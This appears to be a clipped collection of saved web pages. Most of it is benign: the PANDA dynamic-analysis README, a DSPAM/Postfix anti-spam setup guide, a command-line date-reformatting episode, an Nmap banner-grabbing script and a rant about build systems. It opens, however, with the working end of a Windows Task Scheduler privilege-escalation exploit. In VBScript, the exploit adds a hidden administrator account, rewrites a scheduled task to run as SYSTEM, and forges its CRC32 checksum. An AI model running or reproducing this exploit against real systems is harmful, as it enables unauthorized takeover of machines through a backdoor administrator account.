          while (((Table_value ^ crc) >>> 24)  & 0xFF) {
             tableIndex++;
             Table_value = crc_table[tableIndex];
          }
          crc ^= Table_value;
          crc <<= 8;
          crc |= tableIndex;
       }
       crc ^= Crc_value;
    //
    // Finally, display the results
    //
       var TextString=dec2hex(crc);
       var Teststring='';
    Teststring=TextString.substring(6,8);
    Teststring+=TextString.substring(4,6);
    Teststring+=TextString.substring(2,4);
    Teststring+=TextString.substring(0,2);
       return Teststring
    }
    function decodeFromHex(str){
        var r="";
        var e=str.length;
        var s=0;
        while(e>1){
                    
            r=r+String.fromCharCode("0x"+str.substring(s,s+2));
                    
                    s=s+2;
                    e=e-2;
        }
        
            return r;
            
    }
    </script>
    
    
    
    <script language="VBScript">
    dim output
    set output = wscript.stdout
    output.writeline " Task Scheduler 0 day - Privilege Escalation "
    output.writeline " Should work on Vista/Win7/2008 x86/x64"
    output.writeline " webDEViL - w3bd3vil [at] gmail [dot] com" & vbCr & vbLf
    biatchFile = WScript.CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2)+"\xpl.bat"
    Set objShell = CreateObject("WScript.Shell")
    objShell.Run "schtasks /create /TN wDw00t /sc monthly /tr """+biatchFile+"""",,True
    
    Set fso = CreateObject("Scripting.FileSystemObject")
    Set a = fso.CreateTextFile(biatchFile, True)
    a.WriteLine ("net user /add test123 test123")
    a.WriteLine ("net localgroup administrators /add test123")
    a.WriteLine ("schtasks /delete /f /TN wDw00t")
    
    Function ReadByteArray(strFileName)
    Const adTypeBinary = 1
    Dim bin
        Set bin = CreateObject("ADODB.Stream")
        bin.Type = adTypeBinary
        bin.Open
        bin.LoadFromFile strFileName
        ReadByteArray = bin.Read
    'output.writeline ReadByteArray
    End Function
    
    Function OctetToHexStr (arrbytOctet)
     Dim k
     OctetToHexStr = ""
     For k = 3 To Lenb (arrbytOctet)
      OctetToHexStr = OctetToHexStr _
            & Right("0" & Hex(Ascb(Midb(arrbytOctet, k, 1))), 2)
     Next
     End Function
    strFileName="C:\windows\system32\tasks\wDw00t"
    
    hexXML = OctetToHexStr (ReadByteArray(strFileName))
    'output.writeline hexXML
    crc32 = calc_crc(hexXML)
    output.writeline "Crc32 Original: "+crc32
    
    
    Set xmlDoc = CreateObject("Microsoft.XMLDOM")
    'permissions workaround
    'objShell.Run "cmd /c copy C:\windows\system32\tasks\wDw00t .",,True
    'objShell.Run "cmd /c schtasks /query /XML /TN wDw00t > wDw00t.xml",,True
    Set objShell = WScript.CreateObject("WScript.Shell")
    Set objExecObject = objShell.Exec("cmd /c schtasks /query /XML /TN wDw00t")
    
    Do Until objExecObject.StdOut.AtEndOfStream
     strLine = strLine & objExecObject.StdOut.ReadLine()
    Loop
    hexXML = "FFFE3C00"+OctetToHexStr(strLine)
    'output.writeline hexXML
    Set ts = fso.createtextfile ("wDw00t.xml")
    For n = 1 To (Len (hexXML) - 1) step 2
     ts.write Chr ("&h" & Mid (hexXML, n, 2))
    Next
    ts.close
    
    xmlDoc.load "wDw00t.xml"
    Set Author = xmlDoc.selectsinglenode ("//Task/RegistrationInfo/Author")
    Author.text = "LocalSystem"
    Set UserId = xmlDoc.selectsinglenode ("//Task/Principals/Principal/UserId")
    UserId.text = "S-1-5-18"
    xmldoc.save(strFileName)
    
    hexXML = OctetToHexStr (ReadByteArray(strFileName))
    
    leadString=hexXML+"3C0021002D002D00"
    endString="2D002D003E00"
    'output.writeline leadString
    impbytes=rev_crc(leadString,endString,crc32)
    output.writeline "Crc32 Magic Bytes: "+impbytes
    
    finalString = leadString+impbytes+endString
    forge = calc_crc(finalString)
    output.writeline "Crc32 Forged: "+forge
    
    strHexString="FFFE"+finalString
    Set fso = CreateObject ("scripting.filesystemobject")
    Set stream = CreateObject ("adodb.stream")
    
    Set ts = fso.createtextfile (strFileName)
    
    For n = 1 To (Len (strHexString) - 1) step 2
     ts.write Chr ("&h" & Mid (strHexString, n, 2))
    Next
    ts.close
    
    
    Set objShell = CreateObject("WScript.Shell")
    objShell.Run "schtasks /change /TN wDw00t /disable",,True
    objShell.Run "schtasks /change /TN wDw00t /enable",,True
    objShell.Run "schtasks /run /TN wDw00t",,True
    
    </script> 
    
[/code]

</job>  

# panda-re/panda

**Created:**| _12/21/2016 9:19:56 AM_  
---|---  
**Updated:**| _12/21/2016 9:19:56 AM_  
**Author:**| __  
**Tags:**| _Malware-analysis virtusalisation_  
  

  

# PANDA

PANDA is an open-source Platform for Architecture-Neutral Dynamic Analysis. It
is built upon the QEMU whole system emulator, and so analyses have access to
all code executing in the guest and all data. PANDA adds the ability to record
and replay executions, enabling iterative, deep, whole system analyses.
Further, the replay log files are compact and shareable, allowing for
repeatable experiments. A nine billion instruction boot of FreeBSD, e.g., is
represented by only a few hundred MB. PANDA leverages QEMU's support of
thirteen different CPU architectures to make analyses of those diverse
instruction sets possible within the LLVM IR. In this way, PANDA can have a
single dynamic taint analysis, for example, that precisely supports many CPUs.
PANDA analyses are written in a simple plugin architecture which includes a
mechanism to share functionality between plugins, increasing analysis code re-
use and simplifying complex analysis development.

It is currently being developed in collaboration with MIT Lincoln Laboratory,
NYU, and Northeastern University.

## Building

Because PANDA has a few dependencies, we've encoded the build instructions
into a script, panda/scripts/install\_ubuntu.sh. The script should actually
work on Debian 7/8 and Ubuntu 14.04, and it shouldn't be hard to translate the
` apt-get ` commands into whatever package manager your distribution uses. We
currently only vouch for buildability on Debian 7/8 and Ubuntu 14.04, but we
welcome pull requests to fix issues with other distros.

Note that if you want to use our LLVM features \(mainly the dynamic taint
system\), you will need to install LLVM 3.3 from OS packages or compiled from
source. On Ubuntu 14.04 this will happen automatically via ` install_ubuntu.sh
`. Alternatively, we have created an Ubuntu PPA at ` ppa:phulin/panda `. You
can use the following commands to install all dependencies on 14.04 or 16.04:

[code]

    normalsudo add-apt-repository ppa:phulin/panda
    sudo apt-get update
    sudo apt-get build-dep qemu
    sudo apt-get install python-pip git protobuf-compiler protobuf-c-compiler \
      libprotobuf-c0-dev libprotoc-dev libelf-dev \
      libcapstone-dev libdwarf-dev python-pycparser llvm-3.3 clang-3.3 libc++-dev
    git clone https://github.com/panda-re/panda
    mkdir -p build-panda && cd build-panda
    ../panda/build.sh
    normal
[/code]

We don't currently support building on Mac/BSD, although it shouldn't be
impossible with a few patches. We do rely on a few Linux-specific APIs.

## Support

If you need help with PANDA, or want to discuss the project, you can join our
IRC channel at \#panda-re on Freenode, or join the PANDA mailing list.

We have a basic manual here.

## PANDA Plugins

Details about the architecture-neutral plugin interface can be found in
panda/docs/PANDA.md. Existing plugins and tools can be found in panda/plugins
and panda.

## Record/Replay

PANDA currently supports whole-system record/replay execution of x86, x86\_64,
and ARM guests. Documentation can be found in panda/docs/record\_replay.md.

## Publications

  * \[1\] B. Dolan-Gavitt, T. Leek, J. Hodosh, W. Lee. Tappan Zee \(North\) Bridge: Mining Memory Accesses for Introspection. 20th ACM Conference on Computer and Communications Security \(CCS\), Berlin, Germany, November 2013.
  * \[2\] R. Whelan, T. Leek, D. Kaeli. Architecture-Independent Dynamic Information Flow Tracking. 22nd International Conference on Compiler Construction \(CC\), Rome, Italy, March 2013.
  * \[3\] B. Dolan-Gavitt, J. Hodosh, P. Hulin, T. Leek, R. Whelan. Repeatable Reverse Engineering with PANDA. 5th Program Protection and Reverse Engineering Workshop, Los Angeles, California, December 2015.
  * \[4\] M. Stamatogiannakis, P. Groth, H. Bos. Decoupling Provenance Capture and Analysis from Execution. 7th USENIX Workshop on the Theory and Practice of Provenance, Edinburgh, Scotland, July 2015.
  * \[5\] B. Dolan-Gavitt, P. Hulin, T. Leek, E. Kirda, A. Mambretti, W. Robertson, F. Ulrich, R. Whelan. LAVA: Large-scale Automated Vulnerability Addition. 37th IEEE Symposium on Security and Privacy, San Jose, California, May 2016.

## License

GPLv2.

## Acknowledgements

This material is based upon work supported under Air Force Contract No.
FA8721-05-C-0002 and/or FA8702-15-D-0001. Any opinions, findings, conclusions
or recommendations expressed in this material are those of the author\(s\) and
do not necessarily reflect the views of the U.S. Air Force.

  

# DSpam & Postfix

**Created:**| _9/10/2010 3:32:12 PM_  
---|---  
**Updated:**| _9/10/2010 3:33:10 PM_  
**Author:**| __  
**Tags:**| _setup spam Defense_  
  

## How To Include DSPAM Into You Postfix Email Pipeline

Edit | Tagged: antispam, dspam, ham, mail, postfix, spam and ubuntu | 0 Comments
It has been a while since i wrote my last entry, but after some public demand
i decided to write something about DSPAM and Postfix.

To fight the massive amount of spam nowadays it has become critical to filter
your email accounts with certain techniques to separate the spam and the ham.

As my current server is very low on resources, i was unable to use the usual
suspectSpamAssassin because it instantaneously used up all my available RAM
\(thanks perl\!\).  
So i had to look out for some alternatives and found DSPAM, which is the work
of Jonathan A. Zdziarski and uses a statistical approach to identify unwanted
mails. One of its major advantages is its light footprint, which makes it
usable even on small systems.

But enough talk about details, let's start\!

## Installing The Software

At first, of course, we have to install the appropriate package, luckily there
is one available at the ubuntu repository.

[code]

    $ sudo apt-get install dspam
[/code]

Now that we have all needed binaries, we are ready to include dspam into our
pipeline.

## Configs...Configs...Configs...

At first, we have to specify two subservices in postfix which are later used
to check incoming mails and retrain dspam with ham/spam. In order to do that,
insert the following two lines into /etc/postfix/master.cf

[code]

    dspam unix - n n - 10 pipe flags=Ru user=dspam argv=/usr/bin/dspam --deliver=innocent --user $user -i -f $sender -- $recipient  
    dspam-retrain unix - n n - 10 pipe flags=Ru user=dspam argv=/usr/local/bin/dspam-retrain $nexthop $sender $recipient
[/code]

To actually use the specified services we have to create some more files, the
first one is used to specify a filter command, so create
/etc/postfix/dspam\_filter\_access with the content:

[code]

    /./   FILTER dspam:dspam
[/code]

This will match any email address and send it to the dspam service we
specified earlier.  
The second change we have to make is applying everything we did so far in
/etc/postfix/main.cf.  
We have to insert the following lines:

[code]

    dspam_destination_recipient_limit = 1  
    transport_maps = hash:/etc/postfix/transport  
    smtpd_recipient_restrictions = permit_sasl_authenticated,permit_mynetworks,reject_unauth_destination,check_client_access pcre:/etc/postfix/dspam_filter_access  
    local_recipient_maps = proxy:unix:passwd.byname,$alias_maps,$transport_maps
[/code]

Please pay attention to the last statement, the parameter "$alias\_maps" might
be wrong for your setup. If you haven't got a line starting with "alias\_maps
=" in your config, please leave that portion out\! The transport map is used
to specify two transports for training. But more on that topic later on. The
parameter dspam\_destination\_recipient\_limit is use to prevent postfix from
trying to stuff more than one message into the pipeline.

As for now, we are nearly trough with our mail setup, only two minor things
are missing.  
The first one is the transport file, so fire up you editor and open
/etc/postfix/transport  
Insert the two lines:

[code]

    spam@yourdomain.com    dspam-retrain:spam  
    ham@yourdomain.com     dspam-retrain:innocent
[/code]

This will create two virtual mail addresses which are later used to train our
spam filter.

So the last part missing in our antispam puzzle is the ominous file
/usr/local/bin/dspam-retrain.  
It is a small perl script used to separate the ham from the spam.  
The perl script looks like this:

[code]

    #! /usr/bin/perl  
      
    # Get arguments  
    $class  = $ARGV[0] || die; shift;  
    $sender = $ARGV[0] || die; shift;  
    $recip  = $ARGV[0] || die; shift;  
      
    if ($recip =~ /^(spam|ham)+(w+)@/) {  
        # username is part of the recipient  
        $user = $2;  
    } elsif ($sender =~ /^(w+)@/) {  
        # username is in the sender  
        $user = $1;  
    } else {  
        print "Can't determine user  
    ";  
        exit 75;                    # EX_TEMPFAIL  
    }  
      
    # Pull out DSPAM signatures and send them to the dspam program  
    while (<>) {  
        if ((! $subj) && (/^Subject: /)) {  
            $subj = $_;  
        } elsif (/(!DSPAM:[a-f0-9]+!)/) {  
            open(F, "|/usr/bin/dspam --source=error --class=$class --user $user");  
            print F "$subj  
    $1  
    ";  
            close(F);  
        } elsif (/(X-DSPAM-Signature: [a-f0-9]+)/) {  
            open(F, "|/usr/bin/dspam --source=error --class=$class --user $user");  
            print F "$subj  
    $1  
    ";  
            close(F);  
        }  
    }
[/code]

After you put this file in place, you only have to create the postfix db
files, restart postfix and you are ready to go\!

[code]

    $ sudo postmap /etc/postfix/transport  
    $ sudo postmap /etc/postfix/dspam_filter_access  
    $ sudo /etc/init.d/postfix restart
[/code]

All important files could be found here:

/usr/local/bin/dspam-retrain

/etc/postfix/master.cf

/etc/postfix/main.cf

/etc/postfix/dspam\_filter\_access

/etc/postfix/transport

## How To Use It?

Ok, now we have got our nice little dspam setup and the question that was
entirely left out until now is: How does dspam know what is ham and what is
spam?

The answer is: You have to train it\! Or course.  
As mentioned above, we have created two new virtual mail addresses called
ham@youdomain.com and spam@youdomain.com, so now the trick is, if you receive
any spam mails, that are not flagged as spam or flagged spam by mistake, just
forward the entire email to spam@yourdomain.com respective ham@youdomain.com,
dspam-retrain will then receive you mail and train it's filters. Et Voila\!
You are happy.

# Thanks to..

I thank Richard Valk because his blog entry was the basis of my post. He
didn't mentioned the retraining though.

I also thank the author of dspam-retrain, i'm sorry but i didn't found our
who's idea it was.

Also to mention is my buddy fly for kicking my ass until i wrote this post\!

# Command Line Kung Fu: Episode \#64: The Times \(OK, Dates\) They Are a
Changing

**Created:**| _11/24/2009 7:22:30 PM_  
---|---  
**Updated:**| _11/24/2009 7:22:34 PM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  

### Episode \#64: The Times \(OK, Dates\) They Are a Changing

Hal finds an interesting topic:  
  
Recently Rich Shepard, one of my colleagues on the Portland Linux User Group
mailing list, posted an interesting problem. He had a data set with pipe-
delimited records like:  
  

[code]

    1993-1|Water Quality|WVR|Yamhill, City of|Yamhill|Hamlin|Holt|Npv|  
    NPDES-Waste Discharge Limits|7/6/1993|0
    
[/code]

  
  
All he wanted to do was convert the date column in the 10th field to YYYY-MM-
DD format so that the file could be more easily imported into a relational
database. He was curious if there was a simple command-line he could use to
accomplish this.  
  
To me, this seemed like a task that was tailor made for awk \(apparently Joe
Pruett agreed, since his solution on the mailing list was essentially
identical to the one I'm presenting here\). While awk normally splits fields
on whitespace, we can use the "-F" option to specify an alternate delimiter.
Once we've got the fields split up, we can work a little magic with the built-
in split\(\) and sprintf\(\) operators in awk:  
  

[code]

    $ **awk -F'|' '{split($10,f,"/");  
              $10=sprintf("%d-%02d-%02d", f[3], f[1], f[2]);  
              print}' data**  
    1993-1 Water Quality WVR Yamhill, City of Yamhill Hamlin Holt Npv  
    NPDES-Waste Discharge Limits 1993-07-06 0  
    ...
    
[/code]

  
The split\(\) function in the example breaks up field \#10 on "/" characters
and puts the results into the array named "f". Actually the last argument to
split\(\) can be a full-on egrep-style regular expression delimited with
"/.../". But since we're just splitting on literal slash characters, "/" is a
lot easier to type than "/\//".  
  
Once we have the year, month, and day split into an array, we then replace the
contents of the 10th field with the output of the sprintf\(\) routine. This
puts our data in the desired format. The final "print" statement outputs all
of the fields from the original line, including our reformatted field.  
  
Now you'll notice that the output is space-delimited rather than pipe-
delimited. That's because awk's default "output field separator" \(OFS for
short\) is space. You can actually change this by changing the value of the
OFS variable. The trick is you need to set variables like this in a "BEGIN"
block at the front of your awk code so that the new value is set before you
begin processing your input file:  
  

[code]

    $ **awk -F'|' 'BEGIN { OFS="|" }  
             {split($10,f,"/");  
              $10=sprintf("%d-%02d-%02d", f[3], f[1], f[2]);  
              print}' data**  
    1993-1|Water Quality|WVR|Yamhill, City of|Yamhill|Hamlin|Holt|Npv|  
    NPDES-Waste Discharge Limits|1993-07-06|0  
    ...
    
[/code]

  
Of course we could set OFS to anything. For example, we could set it to comma
to produce CSV files \(though there are possible quoting issues if your data
contains commas\). There are other variables we can set to control awk's
splitting behavior. For instance, the "-F" option is equivalent to setting the
FS \("field separator"\) variable. Similarly, there are the RS \("record
separator"\) and ORS \("output record separator"\) variables, which are
normally set to newline since awk operates on a line-at-a-time basis.  
  
Anyway, if your task is chopping up data and dumping it into a different
format, awk is always one good tool to reach for. I could have solved this a
bit more tersely using Perl, but that would be breaking the rules for this
blog. For those of you who are thinking that even my awk code is breaking the
"no scripting languages" rule, it is possible to do this with cut instead of
awk or sed, but the result is pretty nasty:  
  

[code]

    $ **IFS='|'**  
     $ **while read -a F; do  
     printf -v d "%d-%02d-%02d" \  
        `echo ${F[9]} | cut -d/ -f3` \  
        `echo ${F[9]} | cut -d/ -f1` \  
        `echo ${F[9]} | cut -d/ -f2`;  
    F[9]=$d;  
    echo "${F[*]}";  
    done < data**  
    1993-1|Water Quality|WVR|Yamhill, City of|Yamhill|Hamlin|Holt|Npv|  
    NPDES-Waste Discharge Limits|1993-07-06|0  
    ...
    
[/code]

  
"read -a F" splits each line using the delimiter we specified in the IFS
variable and assigns the fields to elements of the array named F. Notice,
however, that bash indexes its arrays starting at zero \(like C programs\)
while awk starts with one. So the date we're reformatting is in F\[9\], not
F\[10\].  
  
The real difficulty here is that cut doesn't let us reorder multiple fields in a single command, so we're forced to do three instances of the "echo ... | cut ..." pipeline to get the date fields in the order we want. Another minor annoyance is that "printf -v ..." doesn't let us assign directly to array variables, so I have to use $d as a temporary variable.  
  
It's also worth pointing out that the double quotes in the last echo statement
in the loop are significant. If I just wrote "echo $\{F\[\*\]\}" without the
double quotes, then I'd get space-separated output. Using the double quotes
causes the output to be delimited with the first character of $IFS \(similar
to setting OFS in awk\).  
  
So there you go: an awk solution and a nasty shell-only version. Somehow I
think that Tim's Windows solution is going to look even uglier though...  
  
Tim brings the ugly:  
  
First off, the date format of our sample wasn't specified, so I will assume
the sample date is July 6th, 1993. My apologies to military and European
followers who think the date should be June 7th, 1993.  
  
Linux may have all sorts of different "cool" commands to use, but in the
windows world we use the FOR loop...for everything.  
  
We use our FOR loop to split the fields using the "|" and "/" characters as a
delimiters. Then all we need to do is rearrange the date parts and put it all
back together.  
  

[code]

    C:\> **for /F "tokens=1-14 delims=|/" %a in (c:\file.txt) do @echo  
     %a^|%b^|%c^|%d^|%e^|%f^|%g^|%h^|%i^|%l-%j-%k^|%m**  
    1993-1|Water Quality|WVR|Yamhill, City of|Yamhill|Hamlin|Holt|Npv|  
    NPDES-Waste Discharge Limits|1993-7-6|0
    
[/code]

  
  
Regular readers will remember the FOR loop represents the tokens by using
sequential letters of alphabet. We have chosen %a to represent the first
token, so %b will represent the second token, %j the 10th \(month\), %k the
11th \(day\), and %l the 12th \(year\). We recreate the original format by
adding the "|" and "-" characters between the rearranged tokens. The problem
is, if there is a "/" character in any of the text fields our results will be
messed up. If we change "Water Quality" to be "Water Quality/Temp" we get
these results.  
  

[code]

    C:\> **for /F "tokens=1-14 delims=|/" %a in (c:\file.txt) do @echo  
     %a^|%b^|%c^|%d^|%e^|%f^|%g^|%h^|%i^|%l-%j-%k^|%m**  
    1993-1|Water Quality|Temp|WVR|Yamhill, City of|Yamhill|Hamlin|Holt|Npv|  
    6-NPDES-Waste Discharge Limits-7|1993
    
[/code]

  
  
We need a more robust solution that will only use the "/" character to split
the date, but not the rest of the string. How do we do that? Well, if one FOR
loop is good, then two must be better.  
  

[code]

    C:\> **for /F "tokens=1-12 delims=|" %a in (c:\file.txt) do @for /F  
     "tokens=1-3 delims=/" %x in ('echo %j') do  
    @echo %a^|%b^|%c^|%d^|%e^|%f^|%g^|%h^|%i^|%z-%x-%y^|%k**  
    1993-1|Water Quality|WVR|Yamhill, City of|Yamhill|Hamlin|Holt|Npv|  
    NPDES-Waste Discharge Limits|1993-7-6|0
    
[/code]

  
  
The first FOR loop is used to split the string using the "|" character as the
delimiter. The second FOR loop is used to split only the date field using the
"/" character as a delimiter. The variables can be a little confusing so let's
take a deeper look in to the second FOR loop.  
  

[code]

    **..for /F "tokens=1-3 delims=/" %x in ('echo %j') do...**
[/code]

  
  
This FOR loop operates on the output of

[code]

    echo %j
    
[/code]

, which is the entire date field. Using the delims option we slice the date
field using the "/" character as our delimiter. The iterator in this loop is
%x and it will contain the first token \(month\). The second and third tokens
are represented by %y \(day\) and %z \(year\). Finally, we glue it all back
together in the order we like using the variables created by both FOR loops.  
  
Some of you detail oriented folks may have noticed that I neglected one point,
the month and day need a leading zero. I ignored this point because this tiny
change makes things really ugly. We have to use our old friend "delayed
environment variable expansion" which you can read about in episodes \#48,
\#12, and \#46. Since it has been covered so many times I'll skip some of the
details for sake of brevity \(ironic I know\). Here is our final result:  
  

[code]

    C:\> **cmd.exe /v:on /c "for /F "tokens=1-12 delims=^|" %a in (c:\file.txt) do  
     @for /F "tokens=1-3 delims=/" %x in ('echo %j') do @set month=0%x& @set day=0%y&  
    @echo %a^|%b^|%c^|%d^|%e^|%f^|%g^|%h^|%i^|%z-!month:~-2!-!day:~-2!^|%k"**  
    1993-1|Water Quality|WVR|Yamhill, City of|Yamhill|Hamlin|Holt|Npv|  
    NPDES-Waste Discharge Limits|1993-07-06|0
    
[/code]

  
  
That is a big mess and it may be difficult to see where and how the leading
zero was added. Using the delayed variable expansion we set the month
variable, with a leading zero, like this:  
  

[code]

    **... set month=0%x & ...!month:~-2!....**
[/code]

  
  
The variable %x could contain 7 \(July\) or 11 \(November\). We set the
variable, month, equal to the concatenation of zero and %x. The month variable
would contain 07 \(July\) or 011 \(November\). Notice when the month variable
is set there is no space between the variable \(%x\) and the "&" character. If
we did leave a space then our month variable would contain a trailing space
which would later have to be removed. When we echo the month variable we only
want the two rightmost characters so July is displayed as 07 and November as
11. The same process is used for the day of the month.  
  
Powershell:  
  
Powershell gives us the ability to use regular expressions which makes
everything much easier. We can reformat any date in our file using this
command:  
  

[code]

    PS C:\> **Get-Content file.txt | ForEach-Object { $_ -replace  
     '(\d{1,2})/(\d{1,2})/(\d{4})','$3-$1-$2' }**  
    1993-1|Water Quality|WVR|Yamhill, City of|Yamhill|Hamlin|Holt|Npv|  
    NPDES-Waste Discharge Limits|1993-7-6|0
    
[/code]

  
  
The Get-Content commandlet \(alias gc\) returns each line of the file given.
Using the ForEach-Object \(alias %\) we operate on each line of the file. The
"current pipeline object", represented as $\_, contains the content of the
current line in the file \(in our example we only have one line in our file\).  
  
Our regular expression search and replace finds the month/day/year and
rearranges it as year-month-day. Again we have the problem of adding that
pesky leading zero so we need to use a slightly different command.  
  

[code]

    PS C:\> **gc file.txt | % { $_ -replace '(\d{1,2})/(\d{1,2})/(\d{4})',  
     '$3-0$1-0$2' } | % { $_ -replace '(\d{4}-)\d?(\d{2}-)\d?(\d{2})','$1$2$3'}**  
    1993-1|Water Quality|WVR|Yamhill, City of|Yamhill|Hamlin|Holt|Npv|  
    NPDES-Waste Discharge Limits|1993-07-06|0
    
[/code]

  
  
We use two replace commands in order to add our leading zero. The first
replace command adds a leading zero and rearranges our month/day/year,
resulting in year-0month-0day. The second command removes the leading zeros if
they are unnecessary.

# Episode126 - PaulDotCom Security Weekly

**Created:**| _8/5/2009 12:51:19 PM_  
---|---  
**Updated:**| _8/5/2009 12:51:29 PM_  
**Author:**| __  
**Tags:**| _pauldotcom network-security Tutorials_  
  

# Tech Segment: Banner Grabbing: Reloaded

Back when I worked for the university I need to write a fast banner grabber.
This had to grab banners either on a specific port, or a set of ports, and run
against two class B networks. Speed was key, the faster the better as my
incident response process relied on saving time. Why? I was trying to look for
one of two things:

  * Compromised hosts listening on a particular port using a backdoor or FTP server that had a known banner
  * Vulnerable software that had a specific banner which was being used by attackers to compromise systems

I wrote a quick banner grabber in C because Nmap was not quite right. Nmap was
awesome at finding ports, and awesome at sending a bunch of packets at a port
to determine the version and type of service running. With two class B
networks, I didn't have time to wait for Nmap to send a whole bunch of packets
to each port. I want to complete the handshake, send one packet with a "\n\r",
and grab what comes back. Turns out, Nmap Scripting Engine solved my problem\!
Now with a little bit of Lua-Foo I can do what I want with Nmap, and take
advantage of all of its powerful features \(such as host discovery\). I took
my banner grabbing problem and just a few lines of code later, I had ported
this functionality to Nmap:

[code]

    id="Banner"
    
    description="connects to each open port and send CRLF to grab banner"
    
    author = "Paul Asadoorian (paul@pauldotcom.com)"
    
    license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
    
    categories = {"discovery"}
    
    require "comm"
    require "shortport"
    
    portrule = function(host, port)
      return (port.number and port.protocol == "tcp")
    end
    
    action = function(host, port)
            local try = nmap.new_try()
    
            return  try(comm.exchange(host, port, "\r\n", {lines=100, proto=port.protocol, timeout=500}))
    
    end
    
    
[/code]

The output looks as follows:

[code]

    # Nmap 4.76 scan initiated Wed Oct  8 23:15:50 2008 as: nmap -sV -oA bannertest%T%D -T4 -sS --script=bannergrab.nse -p1-65535 192.168.1.230 
    Interesting ports on 192.168.1.230:
    Not shown: 65531 closed ports
    PORT     STATE SERVICE    VERSION
    23/tcp   open  telnet     HP JetDirect printer telnetd
    |  Banner: \xFF\xFC\x01
    |  Please type [Return] two times, to initialize telnet configuration
    |  For HELP type "?"
    |_ > 
    515/tcp  open  printer?
    9099/tcp open  unknown?
    9100/tcp open  jetdirect?
    MAC Address: 00:60:B0:BD:68:B0 (Hewlett-packard CO.)
    Service Info: Device: printer
    
    Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
    # Nmap done at Wed Oct  8 23:27:14 2008 -- 1 IP address (1 host up) scanned in 684.29 seconds
    
    
[/code]

I ran both my script and -sV so you can see an example of the difference.

# Building a mystery « DadHacker

**Created:**| _7/14/2010 1:14:40 PM_  
---|---  
**Updated:**| _7/14/2010 1:15:01 PM_  
**Author:**| __  
**Tags:**| _LOLZ C_  
  

## Building a mystery

Once upon a time I thought that makefiles were a cool idea. Okay, this was the
early 80s, rocks were still young, and I didn’t have a version of make on any
of the platforms I was using, so I wrote one. My own version of make wasn’t
very good, but it was simple, did what I needed at the time, and I gave it
away for free \(you can probably still find it on the net. One of the reasons
that Richard Stallman doesn’t like me much is that it’s close to my total
contribution to Free Software. Trust me, it’s not worth the hunt\).

Fast-forward a few decades and I’m wrasslin’ with makefiles large enough to
have detectable gravitational pull, with dizzying levels of nested includes,
wrapper programs bolting together metric buttloads of definitions from
auxiliary files that were first cut in clay tablets Hammurabi’s scribes, macro
systems from hell that wrap back on themselves through higher dimensions to
form legal XML, and default rules that actually reach back in time and break
builds that have _already succeeded_ \(which sure explains a lot, doesn’t
it?\).

And yet, with these hundreds of thousands of lines of intricate and fragile
declarations accreted over uncountable hardscrabble engineer-years, with with
the multi-hour-turnaround time, the only friend at my back is an ECHO
statement that lets me go back and stick tracing statements where I think the
problem might have been. I don’t need ECHO, I need a time machine.

What I’d actually like to have is a fapping debugger, but I suspect it’s
easier to build a gizmo to tear apart and reconstruct the elementary fabric of
the universe than it is to interrogate the infernal interiors of NMAKE after
things have gone sour. \(Yes, NMAKE. Don’t get all superior on me: I’ve used
GNU make as well, and while GNU make  _is_ better, this is still like
expressing a preference for a particular brand of cyanide in your coffee\).

—-

A person from outside the culture of modern software engineering would respond
with something like “Pull the other one,” or more likely, “Stop whining,” and
that person would, sadly, be right on the money in both cases. We have no one
to blame but ourselves. With all the fancy languages we employ, all the type-
safety and exception safety and interface meta-languages and theorem proving,
why are we jack-legging software together with rubber bands and duct tape?

Make was written in 1977, and it hasn’t  _fundamentally_ improved in decades.
Instead of improvements, we got features: Powerful macro expander syntax,
looping constructs, electric and non-electric variable definitions, some lame
attempts at parallelism, but all of these extras just added complexity and
didn’t address the everyday problem of figuring out why a build is failing two
hours in.

If I were to tell someone “I’m going to design a programming language that’s
going to be used by millions of programmers every day: It’s going to have tons
of hidden state, no obvious control flow, obscure and terse syntax, and
programs written in it are going to run for upwards of six hours before
bombing with an error message like ‘File not found’ — oh,  _and_ I’m not going
to write a debugger, and all the state will be hidden and completely lost when
things go wrong” — I’d be strung up in the stairwell alongside the guy who
invented trigraphs.

Don’t get me started on autoconf. \(Someone else wrote a nice flame; there
have been others\). Tools like this just paper over what’s really wrong: We
have too much crap and we have to build it all the time.

—-

Make is only part of the problem. Modern compilers are still rooted in the
smelly primordial ooze of the paper tape era of computing. Well, maybe
magnetic tape.

Imagine I’m building a house; to achieve this, I will be nailing some boards
together. Given that I am a relatively savvy and modern software engineer,
what I do is:

1\. Grow a tree

2\. Cut it down and drag it out of the woods behind my ox

3\. Extract a board, using a pit and a great big bloody saw

4\. Dry the board out in a kiln

5\. Cut and plane the board to proper dimensions

6\. Repeat 1-5 with another tree, resulting in another board

 _\(I’ve omitted steps involving mining iron ore, making coke, refining the
ore, smelting same, making steel, and pounding out a nail\)_

7\. Nail the stupid boards together. Oh, you wanted  _glue_? I don’t do glue;
there are good reasons for that.

… and in about forty thousand years that house is finally assembled \(which is
about par for how late a lot of software projects are\). This is pretty much
the life-cycle of a compiler: Suck in several megabytes of header files and/or
precompiled headers, process a miserable handful of ten or fifteen functions
and methods, spew out some object code and a fuck-ton of debugging info, then
do the whole thing over again with the next set of sources. After all that’s
done, you feed it to a linker. \(Don’t get me started on linkers; I did a lot
of work on linkers in the 80s and 90s, talk about a thankless job…\).

Of course, modern build systems get rid of some of the duplication of effort
here, since they will precompile headers for you and do some dependency
analysis. But I  _dare_ you to change one common structure, or touch one
common header file containing, say, a list of error codes. It’s time to
recompile the world; see you in a few hours.

C and C++ need a module system so badly that we should pretty much stop adding
features \(yes, Mr. Freaky Template Thingy I’ll Never Use in a Responsible
Real-World Project, I’m looking at  _you_\) and do nothing else to these
languages until this is fixed. Architecturally. We need to  _ban_ \#include
\(and no, precompiled headers are not the answer\) and get a type definition
and importing system that actually fucking works and that scales to tens of
millions of lines of code. Once we have that, I’ll hunt down every single use
of \#include and \#if/else/endif and club them to death.

—-

Something absolutely magical happens when you have turnaround time that is
less than about five seconds. It almost doesn’t matter what language you are
programming in. If you’ve got a system that gives you five seconds from source
change to running code, it’s possible you’ll forget to eat and starve at the
keyboard, even if you’re hacking away in assembly.

Build times sneak up on you. Pretty much every project I’ve worked on from
scratch has gone from that magical “seconds” window to “minutes”
\(tolerable\), to ten minutes \(get coffee\), and somehow reaches 45 minutes
to an hour \(go to lunch, surf the web, do email, write documentation, attend
meetings, play video games\). Around the two or three hour mark and you’re
talking about doing SCA re-enactments in the hallways using parts from build
servers as props.

